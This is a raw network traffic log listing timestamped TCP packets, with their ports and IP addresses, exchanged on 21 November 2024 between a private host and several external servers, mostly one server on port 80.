Nov 21, 2024 19:58:44.781219006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.781702995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.781783104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.781814098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.782401085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.782495975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.782515049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.782763958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.783144951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.783194065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.783222914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.783324957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.783818007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.783935070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.784015894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.784598112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.784653902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.784708023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.785201073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.785258055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.785284996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.785903931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.785919905 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.785949945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.786029100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.786083937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.786585093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.786684036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.786715984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.786734104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.787319899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.787410021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.787584066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.787987947 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.788043976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.788121939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.788234949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.788711071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.788777113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.788796902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.789412975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.789467096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.789577007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.789809942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.790121078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.790231943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.790302038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.790813923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.791641951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.883416891 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.883490086 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.883680105 CET	49784	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.883759975 CET	49784	443	192.168.2.8	172.64.41.3
Nov 21, 2024 19:58:44.883771896 CET	443	49784	172.64.41.3	192.168.2.8
Nov 21, 2024 19:58:44.885853052 CET	49792	443	192.168.2.8	23.55.235.251
Nov 21, 2024 19:58:44.885905027 CET	443	49792	23.55.235.251	192.168.2.8
Nov 21, 2024 19:58:44.885988951 CET	49792	443	192.168.2.8	23.55.235.251
Nov 21, 2024 19:58:44.886169910 CET	49792	443	192.168.2.8	23.55.235.251
Nov 21, 2024 19:58:44.886187077 CET	443	49792	23.55.235.251	192.168.2.8
Nov 21, 2024 19:58:44.909127951 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:44.909409046 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:44.909435987 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:44.910484076 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:44.910559893 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:44.911081076 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:44.911149025 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:44.954332113 CET	443	49786	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:44.954719067 CET	49786	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:44.954782009 CET	443	49786	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:44.955140114 CET	443	49786	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:44.955549002 CET	49786	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:44.955626011 CET	443	49786	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:44.960308075 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:44.960331917 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:58:44.963254929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.963354111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.963392973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.963531017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.963624954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.963747978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.963816881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.963871956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.964317083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.964360952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.964438915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.964512110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.965038061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.965096951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.965146065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.965262890 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.965735912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.965795040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.965878963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.966438055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.966505051 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.966528893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.966573954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.967133999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.967164040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.967231035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.967829943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.967925072 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.967966080 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.967987061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.968512058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.968569040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.968602896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.968661070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.969245911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.969321012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.969347954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.969429016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.969971895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.969980001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.970029116 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.970611095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.970685959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.970727921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.970803022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.971450090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.971467018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.971533060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.972088099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.972095966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.972146988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.972775936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.972852945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.972904921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.973444939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.973504066 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.973524094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.973583937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.974117994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.974221945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.974286079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.974822998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.974920034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.974961996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.975016117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.975511074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.975570917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.975591898 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.975625992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.976226091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.976322889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.976324081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.976408005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.976938009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.977006912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.977133989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.977216959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.977623940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.977691889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.977721930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.977781057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.978323936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.978390932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.978434086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.978530884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.979038954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.979113102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.979146957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.979347944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.979742050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.979827881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.979897976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.979962111 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.980417013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.980469942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.980568886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.980622053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.981235027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.981349945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.981379986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.981452942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.982006073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.982070923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.982160091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.982530117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.982589960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.982678890 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.982697010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.982764959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.983253002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.983309984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.983371973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.983582973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.983944893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.984013081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.984025002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.984168053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.984697104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.984766006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.984774113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.984847069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.985358953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.985435963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.985455036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.985507965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.986100912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.986155033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.986186028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.986219883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.986762047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.986814976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.986866951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.987144947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.987476110 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.987519026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.987571955 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.988173008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.988181114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.988234043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.988888025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.989025116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.989065886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.989098072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.989583015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.989651918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.989685059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.989742994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.990281105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.990365028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.990515947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.990989923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.991039038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.991056919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.991210938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.991753101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.991816998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.991877079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.991972923 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.992413998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.992461920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:44.992475033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:44.992542982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.008141041 CET	49786	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:45.008151054 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:58:45.078838110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.204920053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.611948967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.611954927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.611960888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.611965895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.611979008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.611982107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.611989021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.611989975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.611994982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612000942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612006903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612013102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612019062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612020016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612025023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612020016 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612030983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612037897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612046003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612052917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612065077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612072945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612078905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612080097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612080097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612085104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612097979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612112045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612112999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612119913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612132072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612133980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612139940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612147093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612149954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612162113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612175941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612183094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612190008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612191916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612199068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612206936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612211943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612216949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612217903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612225056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612231970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612236977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612238884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612243891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612251043 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612257004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612265110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612273932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612281084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612286091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612287045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612293959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612299919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612306118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612307072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612312078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612325907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612337112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612338066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612349033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612354040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612358093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612371922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612376928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612379074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612392902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612397909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612404108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612406969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612415075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612427950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612432957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612433910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612448931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612454891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612456083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612462997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612469912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612481117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612482071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612488031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612494946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612500906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612514019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612519026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612523079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612529039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612536907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612544060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612545013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:45.612550020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612556934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612562895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:45.612569094 CET	80	49746	185.215.113.206	192.168.2.8
